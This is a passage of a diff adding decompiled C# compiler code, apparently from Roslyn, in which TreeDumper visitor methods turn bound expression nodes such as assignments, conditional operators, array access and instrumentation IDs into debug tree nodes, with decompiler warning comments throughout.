invalid IL or missing references) + //IL_0117: Expected O, but got Unknown + //IL_012a: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Expected O, but got Unknown + //IL_013f: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Expected O, but got Unknown + //IL_0159: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Expected O, but got Unknown + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Expected O, but got Unknown + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_017f: Expected O, but got Unknown + return new TreeDumperNode("compoundAssignmentOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[12] + { + new TreeDumperNode("@operator", (object)node.Operator, (IEnumerable)null), + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("leftPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftPlaceholder, null) }), + new TreeDumperNode("leftConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftConversion, null) }), + new TreeDumperNode("finalPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.FinalPlaceholder, null) }), + new TreeDumperNode("finalConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.FinalConversion, null) }), + new TreeDumperNode("resultKind", (object)node.ResultKind, (IEnumerable)null), + new TreeDumperNode("originalUserDefinedOperatorsOpt", (object)node.OriginalUserDefinedOperatorsOpt, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAssignmentOperator(BoundAssignmentOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + return new TreeDumperNode("assignmentOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("isRef", (object)node.IsRef, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + return new TreeDumperNode("deconstructionAssignmentOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("left", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Left, null) }), + new TreeDumperNode("right", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Right, null) }), + new TreeDumperNode("isUsed", (object)node.IsUsed, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNullCoalescingOperator(BoundNullCoalescingOperator node, object? arg) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0079: Expected O, but got Unknown + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Expected O, but got Unknown + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Expected O, but got Unknown + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Expected O, but got Unknown + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Expected O, but got Unknown + //IL_00f6: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Expected O, but got Unknown + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Expected O, but got Unknown + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Expected O, but got Unknown + return new TreeDumperNode("nullCoalescingOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[9] + { + new TreeDumperNode("leftOperand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftOperand, null) }), + new TreeDumperNode("rightOperand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.RightOperand, null) }), + new TreeDumperNode("leftPlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftPlaceholder, null) }), + new TreeDumperNode("leftConversion", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftConversion, null) }), + new TreeDumperNode("operatorResultKind", (object)node.OperatorResultKind, (IEnumerable)null), + new TreeDumperNode("@checked", (object)node.Checked, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_00a0: Expected O, but got Unknown + return new TreeDumperNode("nullCoalescingAssignmentOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("leftOperand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.LeftOperand, null) }), + new TreeDumperNode("rightOperand", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.RightOperand, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Expected O, but got Unknown + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d2: Expected O, but got Unknown + //IL_00e5: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Expected O, but got Unknown + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Expected O, but got Unknown + return new TreeDumperNode("unconvertedConditionalOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[8] + { + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("consequence", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Consequence, null) }), + new TreeDumperNode("alternative", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Alternative, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("noCommonTypeError", (object)node.NoCommonTypeError, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitConditionalOperator(BoundConditionalOperator node, object? arg) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected O, but got Unknown + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Expected O, but got Unknown + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Expected O, but got Unknown + //IL_00a0: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00ba: Expected O, but got Unknown + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0100: Expected O, but got Unknown + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Expected O, but got Unknown + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Expected O, but got Unknown + return new TreeDumperNode("conditionalOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[10] + { + new TreeDumperNode("isRef", (object)node.IsRef, (IEnumerable)null), + new TreeDumperNode("condition", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Condition, null) }), + new TreeDumperNode("consequence", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Consequence, null) }), + new TreeDumperNode("alternative", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Alternative, null) }), + new TreeDumperNode("constantValueOpt", (object)node.ConstantValueOpt, (IEnumerable)null), + new TreeDumperNode("naturalTypeOpt", (object)node.NaturalTypeOpt, (IEnumerable)null), + new TreeDumperNode("wasTargetTyped", (object)node.WasTargetTyped, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArrayAccess(BoundArrayAccess node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Expected O, but got Unknown + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Expected O, but got Unknown + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Expected O, but got Unknown + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Expected O, but got Unknown + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Expected O, but got Unknown + return new TreeDumperNode("arrayAccess", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("indices", (object)null, node.Indices.Select((BoundExpression x) => Visit(x, null))), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitArrayLength(BoundArrayLength node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Expected O, but got Unknown + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Expected O, but got Unknown + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Expected O, but got Unknown + return new TreeDumperNode("arrayLength", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAwaitableInfo(BoundAwaitableInfo node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Expected O, but got Unknown + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Expected O, but got Unknown + return new TreeDumperNode("awaitableInfo", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("awaitableInstancePlaceholder", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AwaitableInstancePlaceholder, null) }), + new TreeDumperNode("isDynamic", (object)node.IsDynamic, (IEnumerable)null), + new TreeDumperNode("getAwaiter", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.GetAwaiter, null) }), + new TreeDumperNode("isCompleted", (object)node.IsCompleted, (IEnumerable)null), + new TreeDumperNode("getResult", (object)node.GetResult, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitAwaitExpression(BoundAwaitExpression node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Expected O, but got Unknown + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Expected O, but got Unknown + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b3: Expected O, but got Unknown + //IL_00b3: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected O, but got Unknown + return new TreeDumperNode("awaitExpression", (object)null, (IEnumerable)(object)new TreeDumperNode[6] + { + new TreeDumperNode("expression", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Expression, null) }), + new TreeDumperNode("awaitableInfo", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.AwaitableInfo, null) }), + new TreeDumperNode("debugInfo", (object)node.DebugInfo, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitTypeOfOperator(BoundTypeOfOperator node, object? arg) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Expected O, but got Unknown + return new TreeDumperNode("typeOfOperator", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("sourceType", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.SourceType, null) }), + new TreeDumperNode("getTypeFromHandle", (object)node.GetTypeFromHandle, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitBlockInstrumentation(BoundBlockInstrumentation node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Expected O, but got Unknown + //IL_007b: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Expected O, but got Unknown + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Expected O, but got Unknown + return new TreeDumperNode("blockInstrumentation", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("local", (object)node.Local, (IEnumerable)null), + new TreeDumperNode("prologue", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Prologue, null) }), + new TreeDumperNode("epilogue", (object)null, (IEnumerable)(object)new TreeDumperNode[1] { Visit(node.Epilogue, null) }), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitMethodDefIndex(BoundMethodDefIndex node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("methodDefIndex", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("method", (object)node.Method, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitLocalId(BoundLocalId node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("localId", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("local", (object)node.Local, (IEnumerable)null), + new TreeDumperNode("hoistedField", (object)node.HoistedField, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitParameterId(BoundParameterId node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("parameterId", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("parameter", (object)node.Parameter, (IEnumerable)null), + new TreeDumperNode("hoistedField", (object)node.HoistedField, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitStateMachineInstanceId(BoundStateMachineInstanceId node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("stateMachineInstanceId", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("maximumMethodDefIndex", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node, object? arg) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Expected O, but got Unknown + return new TreeDumperNode("instrumentationPayloadRoot", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("analysisKind", (object)node.AnalysisKind, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitModuleVersionId(BoundModuleVersionId node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("moduleVersionId", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitModuleVersionIdString(BoundModuleVersionIdString node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Expected O, but got Unknown + return new TreeDumperNode("moduleVersionIdString", (object)null, (IEnumerable)(object)new TreeDumperNode[3] + { + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitSourceDocumentIndex(BoundSourceDocumentIndex node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Expected O, but got Unknown + return new TreeDumperNode("sourceDocumentIndex", (object)null, (IEnumerable)(object)new TreeDumperNode[4] + { + new TreeDumperNode("document", (object)node.Document, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitMethodInfo(BoundMethodInfo node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("methodInfo", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("method", (object)node.Method, (IEnumerable)null), + new TreeDumperNode("getMethodFromHandle", (object)node.GetMethodFromHandle, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new TreeDumperNode("isSuppressed", (object)node.IsSuppressed, (IEnumerable)null), + new TreeDumperNode("hasErrors", (object)node.HasErrors, (IEnumerable)null) + }); + } + + public override TreeDumperNode VisitFieldInfo(BoundFieldInfo node, object? arg) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Expected O, but got Unknown + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Expected O, but got Unknown + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Expected O, but got Unknown + //IL_0074: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Expected O, but got Unknown + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Expected O, but got Unknown + return new TreeDumperNode("fieldInfo", (object)null, (IEnumerable)(object)new TreeDumperNode[5] + { + new TreeDumperNode("field", (object)node.Field, (IEnumerable)null), + new TreeDumperNode("getFieldFromHandle", (object)node.GetFieldFromHandle, (IEnumerable)null), + new TreeDumperNode("type", (object)node.Type, (IEnumerable)null), + new 